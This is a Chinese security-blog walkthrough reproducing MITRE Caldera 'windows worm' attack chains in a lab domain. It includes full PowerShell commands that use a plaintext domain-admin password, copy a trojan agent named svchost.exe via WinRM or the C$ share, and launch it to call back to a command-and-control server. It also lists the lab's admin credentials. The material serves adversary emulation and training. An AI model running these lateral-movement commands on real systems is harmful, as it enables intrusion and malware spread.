freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ATT&CK—Caldera 实操(二)
2022-11-11 18:53:07
所属地 广东省

接下来复现windows worm#2 和 windows worm#3 两条经典链,这里就不介绍Caldera的使用了,可以看上一篇文章。

windows worm #2

环境

  • win2012(已上线) 172.29.2.215

  • win2016(AD) 172.29.3.66

域:worm.lab

域管账号密码:

  • administrator

  • zxcasdqwe123!@#

win2012本地管理员账户密码:

  • administrator

  • zxcasdqwe123!@#

执行顺序

image.png

1.Collect ARP details

通过arp -a命令收集内网信息:

image.png

2.Reverse nslookup IP

根据上一步收集到的 ip 信息,一步一步进行DNS解析,使用的是nslookup命令:

image.png

image.png

输出结果:fqdn会保存,后面有用

image.png

3.Copy 54ndc47 (WinRM and SCP)

看一下给出的命令:

$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;

大概步骤:

  • 使用目标账号密码与其建立会话

  • 上传木马文件到已上线机器

  • 复制木马文件到目标机器

  • 移除会话

前提条件:

  • domain.user.name 域用户名。注意:这里是域用户名,格式应当为:域名\域用户

  • domain.user.password 即域用户的密码

  • remote.host.name 目标主机名

  • 双方都需要开WinRM

剩下的变量会自动填写

报错:

A parameter cannot be found that matches parameter name 'ToSession'.
    + CategoryInfo          : InvalidArgument: (:) [Copy-Item], ParameterBindi 
   ngException
    + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Comm 
   ands.CopyItemCommand
    + PSComputerName        : localhost

是powershell版本太低的原因,copy命令没有ToSession参数

把powershell升级到5+

https://download.microsoft.com/download/6/F/5/6F5FF66C-6775-42B0-86C4-47D41F2DA187/Win8.1AndW2K12R2-KB3191564-x64.msu

打这个补丁再重启即可

这里踩了个坑:

因为升级powershell的原因,各种操作,把原来powershell的环境变量移除了,导致重新执行TTP的时候,第一步完之后,第二步骤就无法执行了。一直在找原因,还重新装了caldera,最后在abilities选项里面发现:

image.png

这个ability默认只设置了powershell,必须要用powershell执行,很是郁闷。。。

最终执行的命令:

$job = Start-Job -ScriptBlock {
    $username = "worm\administrator";
    $password = "zxcasdqwe123!@#";
    $secstr = New-Object -TypeName System.Security.SecureString;
    $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
    $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr; 	 $session = New-PSSession -ComputerName "win2016" -Credential $cred; 
    $location = "C:\Users\Public\splunkd.exe";
    $exe = "splunkd.exe";
    Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
    Start-Sleep -s 5;
    Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;

可以看到成功传输了文件

image.png

4.Start Agent (WinRM)

这一步启动Agent

给出的命令:

$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;

执行过程与上一步类似,建立会话之后直接执行命令运行木马文件

前提条件:

  • domain.user.name 域用户名。注意:这里格式应当为:域名\域用户

  • domain.user.password 即域用户的密码

  • remote.host.name 目标主机名

  • 双方都需要开WinRM

最终执行的命令:

$username = "worm\administrator";
$password = "zxcasdqwe123!@#";
$secstr = New-Object -TypeName System.Security.SecureString;$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName win2016 -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server http://172.29.2.129:8888 }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;

成功上线:

image.png

windows worm#3

和windows worm#2很像,很多重复步骤

环境

  • win2012(已上线) 172.29.2.215

  • win2016(AD) 172.29.3.66

域:worm.lab

域管账号密码:

  • administrator

  • zxcasdqwe123!@#

win2012本地管理员账户密码:

  • administrator

  • zxcasdqwe123!@#

执行顺序

image.png

1.Collect ARP details

通过arp -a命令收集内网信息:

image.png

2.Reverse nslookup IP

根据上一步收集到的 ip 信息,一步一步进行DNS解析,使用的是nslookup命令:

image.png

image.png

输出结果:会保存fqdn,后面有用

image.png

3.View remote shares

查看远程共享,使用了net view命令,使用了上一步骤保存的fqdn

image.png!image.png

使用net view命令时,如果是本地账户,会自动使用当前缓存的密码进行NTLM认证,域内账户则会使用Kerberos认证。

4.Copy 54ndc47 (SMB)

使用了命令:

$path = "sandcat.go-windows";
$drive = "\\win2016.worm.lab\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";

这一步先上传sandcat.go-windows到以上线的机器,再让其自动使用自身缓存密码复制木马文件到目标

前提条件:

  • 知道目标共享路径

  • 目标开启SMB服务 (默认开启)

5.Start Agent (WinRM)

看一下给出的命令:

$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;

大概步骤:

  • 使用目标账号密码与其建立会话

  • 执行上一步传输过去的后门文件

  • 移除会话

前提条件:

  • username 用户名。注意:这里是域用户名,格式应当为:域名\域用户

  • password 即username的密码

  • remote.host.name 目标主机名

  • 双方都需要开WinRM

遇到的问题:

  1. 由于这一步是手动添加的Command,在执行这一条命令的时候一直报错

$session = New-PSSession -ComputerName win2016 -Credential $cred;

image.png

最开始并不知道$username的格式,以为是WinRM出了问题。后来再确认WinRM没问题之后,猜测是$cred参数出错。后翻阅Micros文档:https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2

看到如下示例:

New-PSSession -Session $s -Credential Domain01\User01

经测试,果然是$username格式问题,Domain为域名,User为域用户名。

  1. 紧接着下一条命令是执行文件上线,给出的如下:

Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};

使用了之后并没反应,发现里面很奇怪的是:C:\Users\Public\svchost.exe该文件根本就不存在,上一步copy的文件也并不是这个名,且后面的server参数明明是传过去的后门文件使用的。所以猜测它搞错了。。。改成上一步copy的s4ndc4t.exe即可。

最终命令

$username = "worm\administrator";
$password = "zxcasdqwe123!@#";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName win2016 -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\s4ndc4t.exe -server http://172.29.2.129:8888 }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;

成功上线受害机器win2016

image.png

# 内网渗透 # 蠕虫病毒 # ATT&CK
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录